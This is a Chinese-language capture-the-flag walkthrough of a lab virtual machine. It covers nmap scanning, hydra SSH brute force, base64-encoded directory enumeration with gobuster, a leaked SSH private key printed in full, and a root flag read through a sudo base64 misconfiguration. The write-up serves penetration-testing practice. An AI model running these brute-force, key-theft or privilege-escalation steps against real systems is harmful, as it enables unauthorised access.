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前言：
作为自己的专项练习，力求培养渗透思维，熟悉工具使用，愿与诸君共勉之
信息收集
nmap探测目标IP
nmap -sT --min-rate 10000 -p- 192.168.56.0/24
Nmap scan report for 192.168.56.102
Host is up (0.00055s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
nmap针对目标IP开放端口进行更加详细的扫描
nmap -sT -sV -sC -A -p22,80 192.168.56.102
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 ca0980f73ada5ab619d95c414743d410 (RSA)
| 256 d0754848b8265937643b257f2010f870 (ECDSA)
|_ 256 9114f7930b0625cbe0a530e8d3d3372b (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
这里只存在ssh服务，和http服务。接下来逐个击破
SSH服务渗透
这里经过nmap的探测，发现ssh服务的版本过高，无漏洞可利用
爆破可尝试，挂后台跑
hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.102
这里选用rockyou.txt的原因是因为够大够全
HTTP服务渗透
首先，干几件事(枚举目录，探测web应用程序(源码，中间件等))
dirsearch -u http://192.168.56.102/
[10:30:42] 200 - 276B - /index.html
目录无可用信息
whatweb http://192.168.56.102/
http://192.168.56.102/ [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.2], IP[192.168.56.102], nginx[1.14.2]
也没有什么可用的信息
去浏览web主页
发现存在一段base64编码后的密文，解码
echo "QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK" | base64 -d
ALL, absolutely ALL that you need is in BASE64.
Including the password that you need :)
Remember, BASE64 has the answer to all your questions.
-lucas
我们查看解码后的信息，得到提示所有的答案都跟base64有关
我尝试从这个页面获取更多的信息，我去翻了一下主页源码又发现了一些好东西
<!--
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
-->
好了，有了这么多的提示我知道该怎么搞了
SSH服务爆破
根据提示，我现在需要把泄露的东西保存为账户密码文本，然后针对密码文本进行base64加密
cat user.txt
lucas
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
cat pass.txt
lucas
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
加密脚本
enbase.sh
#!/bin/bash
while IFS= read -r linea
do
echo $linea | base64 >> $2
done < $1
它将对我们作为第一个参数放置的文件进行编码，并在第二个参数中为我们打印它
./enbase.sh pass.txt enpass.txt
进行ssh爆破
hydra -L ./user.txt -P ./enpass.txt ssh://192.168.56.102
等等，为啥不对。貌似又被卡住了
额，去问了一下大佬(他说你都试了爆ssh，为啥不试爆目录)
等等，好像有道理啊，全部跟base64有关
那我把有关的都base64加密一次再搞
base加密后的目录爆破(突破口)
先用个最小的目录字典试个水先
./enbase.sh /usr/share/wordlists/dirb/common.txt dict.txt
然后用gobuster指定文件扫
gobuster dir -u http://192.168.56.102/ -w ./dict.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.102/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: ./dict.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2023/06/08 11:07:25 Starting gobuster in directory enumeration mode
===============================================================
/aWRfcnNhCg== (Status: 200) [Size: 2537]
/cm9ib3RzLnR4dAo= (Status: 200) [Size: 25]
===============================================================
2023/06/08 11:07:25 Finished
===============================================================
出货出货
是两文件，打开看看
额，base64，解个码发现是ssh私钥泄露
echo "LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFB
QUFBQ21GbGN6STFOaTFqZEhJQUFBQUdZbU55ZVhCMEFBQUFHQUFBQUJCVHhlOFlVTApCdHpmZnRB
ZFBncDhZWkFBQUFFQUFBQUFFQUFBRVhBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFDWkNY
dkVQbk8xCmNiaHhxY3RCRWNCRFpqcXJGZm9sd1ZLbXBCZ1kwN00zQ0s3cE8xMFVnQnNMeVl3QXpK
RXc0ZTZZZ1BOU3lDRFdGYU5US0cKMDdqZ2NncmdncmU4ZVBDTU5GQkNBR2FZSG1MckZJc0tEQ0xJ
NE5FNTR0NThJVUhlWENaejcyeFRvYkwvcHRMazI2UkJuaAo3YkhHMUpqR2x4T2tPNm0rMW9GTkx0
TnVEMlFQbDhzYlp0RXpYNFM5bk5aL2RweVJwTWZtQjczck4zeXlJeWxldlZERXl2CmY3Q1o3b1JP
NDZ1RGdGUHk1VnprbmRDZUpGMll0WkJYZjVnamMyZmFqTVh2cStiOG9sOFJaWjZqSFhBaGlibEJY
d3BBbTQKdkxZZnh6STI3QlpGbm90ZUJuYmR6d1NMNWFwQkY1Z1lXSkFIS2ovSjZNaERqMUdLQUZj
MUFBQUQwTjlVRFRjVXh3TXQ1WApZRklaSzhpZUJMME5PdXdvY2RnYlV1a3RDMjFTZG5TeTZvY1cz
aW1NKzNteldqUGRvQksvSG8zMzl1UG1CV0k1c2JNcnBLCnhrWk1ubCtyY1RiZ3o0c3d2OGdOdUto
VWM3d1RndHJOWCtQTk1kSUFMTnBzeFlMdC9sNTZHSzhSNEo4ZkxJVTUrTW9qUnMKKzFOcllzOEo0
cm5PMXFXTm9KUlpvRGxBYVlxQlY5NWNYb0FFa3dVSFZ1c3RmZ3hVdHJZS3ArWVBGSWd4OG9rTWpK
Z25iaQpOTlczVHp4bHVOaTVvVWhhbEgyREoya2hLREdRVWk5Uk9GY3NFWGVKWHQzbGdwWlp0MWhy
UURBMW84alRYZVM0K2RXN25aCnpqZjNwME03N2IvTnZjWkUrb1hZUTFnNVhwMVFTT1Niait0bG13
NTRMN0VxYjFVaFpnblE3WnNLQ29hWTlTdUFjcW0zRTAKSUpoK0krWnYxZWdTTVMvRE9ISXhPM3Bz
UWtjaUxqa3BhK0d0d1FNbDFaQUpIUWFCNnE3MEpKY0JDZlZzeWtkWTUyTEtESQpweFpZcExabXlE
eDhUVGFBOEpPbXZHcGZOWmtNVTRJMGk1L1pUNjVTUkZKMU5sQkNOd2N3dE9sOWs0UFc1TFZ4TnNH
UkNKCk1KcjhrNUFjMENYMDNmWEVTcG1zVVVWUysvRGovaG50SHc4OWRPOEhjcXFJVUVwZUViZlRX
THZheDBDaVNoM0tqU2NlSnAKKzhnVXlER3ZDa2N5Vm5lVVFqbW1yUnN3UmhUTnh4S1JCWnNla0d3
SHBvOGhEWWJVRUZacXp6TEFRYkJJQWRybDF0dDdtVgp0VkJybXBNNkN3SmR6WUVsMjFGYUs4anZk
eUN3UHI1SFVndHV4clNwTHZuZGNud1BheEpXR2k0UDQ3MUREWmVSWURHY1doCmk2YklDckxRZ2VK
bEhhRVVtclFDNVJkdjAzendJOVU4RFhVWi9PSGI0MFBMOE1YcUJ0VS9iNkNFVTlKdXpKcEJyS1or
aysKdFNuN2hyOGhwcFQydFVTeER2QytVU01tdy9XRGZha2pmSHBvTndoN1B0NWkwY3d3cGtYRlF4
SlB2UjBiTHh2WFpuKzN4dwpON2J3NDVGaEJaQ3NIQ0FiVjIraFZzUDBseXhDUU9qN3lHa0JqYTg3
UzFlMHE2V1pqakI0U3ByZW5Ia083dGc1UTBIc3VNCkFpZi8wMkhIeldHK0NSL0lHbEZzTnRxMXZ5
bHQyeCtZLzA5MXZDa1JPQkRhd2pIei84b2d5MkZ6ZzhKWVRlb0xrSHdER1EKTytUb3dBMTBSQVRl
azZaRUl4aDZTbXRERy9WNXplV0N1RW1LNHNSVDNxMUZTdnBCMS9IK0Z4c0dDb1BJZzhGemNpR0No
MgpUTHVza2NYaWFnbnM5TjFSTE9ubEhoaVpkOFJaQTBaZzdvWklhQnZhWm5oWllHeWNwQUpwV0tl
YmpydG9rTFl1TWZYUkxsCjMvU0FlVWw3MkVBM20xRElueHNQZ3VGdWswMHJvTWM3N042ZXJZN3Rq
T1pMVllQb1NpeWdEUjFBN2Yzell6KzBpRkk0ckwKTkQ4aWtnbVF2RjZocnd3SkJycC8weEtFYU1U
Q0tMdnl5WjNlRFNkQkRQcmtUaGhGd3JQcEk2K0V4OFJ2Y1dJNmJUSkFXSgpMZG1tUlhVUy9EdE8r
NjkvYWlkdnhHQVlvYisxTT0KLS0tLS1FTkQgT1BFTlNTSCBQUklWQVRFIEtFWS0tLS0tCg==" | base64 -d
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBTxe8YUL
BtzfftAdPgp8YZAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQCZCXvEPnO1
cbhxqctBEcBDZjqrFfolwVKmpBgY07M3CK7pO10UgBsLyYwAzJEw4e6YgPNSyCDWFaNTKG
07jgcgrggre8ePCMNFBCAGaYHmLrFIsKDCLI4NE54t58IUHeXCZz72xTobL/ptLk26RBnh
7bHG1JjGlxOkO6m+1oFNLtNuD2QPl8sbZtEzX4S9nNZ/dpyRpMfmB73rN3yyIylevVDEyv
f7CZ7oRO46uDgFPy5VzkndCeJF2YtZBXf5gjc2fajMXvq+b8ol8RZZ6jHXAhiblBXwpAm4
vLYfxzI27BZFnoteBnbdzwSL5apBF5gYWJAHKj/J6MhDj1GKAFc1AAAD0N9UDTcUxwMt5X
YFIZK8ieBL0NOuwocdgbUuktC21SdnSy6ocW3imM+3mzWjPdoBK/Ho339uPmBWI5sbMrpK
xkZMnl+rcTbgz4swv8gNuKhUc7wTgtrNX+PNMdIALNpsxYLt/l56GK8R4J8fLIU5+MojRs
+1NrYs8J4rnO1qWNoJRZoDlAaYqBV95cXoAEkwUHVustfgxUtrYKp+YPFIgx8okMjJgnbi
NNW3TzxluNi5oUhalH2DJ2khKDGQUi9ROFcsEXeJXt3lgpZZt1hrQDA1o8jTXeS4+dW7nZ
zjf3p0M77b/NvcZE+oXYQ1g5Xp1QSOSbj+tlmw54L7Eqb1UhZgnQ7ZsKCoaY9SuAcqm3E0
IJh+I+Zv1egSMS/DOHIxO3psQkciLjkpa+GtwQMl1ZAJHQaB6q70JJcBCfVsykdY52LKDI
pxZYpLZmyDx8TTaA8JOmvGpfNZkMU4I0i5/ZT65SRFJ1NlBCNwcwtOl9k4PW5LVxNsGRCJ
MJr8k5Ac0CX03fXESpmsUUVS+/Dj/hntHw89dO8HcqqIUEpeEbfTWLvax0CiSh3KjSceJp
+8gUyDGvCkcyVneUQjmmrRswRhTNxxKRBZsekGwHpo8hDYbUEFZqzzLAQbBIAdrl1tt7mV
tVBrmpM6CwJdzYEl21FaK8jvdyCwPr5HUgtuxrSpLvndcnwPaxJWGi4P471DDZeRYDGcWh
i6bICrLQgeJlHaEUmrQC5Rdv03zwI9U8DXUZ/OHb40PL8MXqBtU/b6CEU9JuzJpBrKZ+k+
tSn7hr8hppT2tUSxDvC+USMmw/WDfakjfHpoNwh7Pt5i0cwwpkXFQxJPvR0bLxvXZn+3xw
N7bw45FhBZCsHCAbV2+hVsP0lyxCQOj7yGkBja87S1e0q6WZjjB4SprenHkO7tg5Q0HsuM
Aif/02HHzWG+CR/IGlFsNtq1vylt2x+Y/091vCkROBDawjHz/8ogy2Fzg8JYTeoLkHwDGQ
O+TowA10RATek6ZEIxh6SmtDG/V5zeWCuEmK4sRT3q1FSvpB1/H+FxsGCoPIg8FzciGCh2
TLuskcXiagns9N1RLOnlHhiZd8RZA0Zg7oZIaBvaZnhZYGycpAJpWKebjrtokLYuMfXRLl
3/SAeUl72EA3m1DInxsPguFuk00roMc77N6erY7tjOZLVYPoSiygDR1A7f3zYz+0iFI4rL
ND8ikgmQvF6hrwwJBrp/0xKEaMTCKLvyyZ3eDSdBDPrkThhFwrPpI6+Ex8RvcWI6bTJAWJ
LdmmRXUS/DtO+69/aidvxGAYob+1M=
-----END OPENSSH PRIVATE KEY-----
保存为id_rsa
记得给id_rsa赋权600哈，要不然死都进不去
id_rsa私钥泄露登录ssh服务
利用lucas这个用户进入
ssh -i id_ras lucas@192.168.56.102
Enter passphrase for key 'id_ras':
好巧不巧，那就加密后的pass.txt的密码挨着试
lucas:aWxvdmV5b3UK
然后直接cat flag就可以
权限提升
先sudo -l悄悄的看一眼
额掏出可爱的gtfobins看看
正是我所期待的那样，因为我们知道该标志将位于根目录中，并将被称为 root.txt 所以
sudo /usr/bin/base64 /root/root.txt | base64 -d
文章参考
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2. 适用性声明：文中技术内容可能不适用于所有情况或系统，在实际应用前请充分测试和评估。若因使用不当造成的任何问题，相关方不承担责任。
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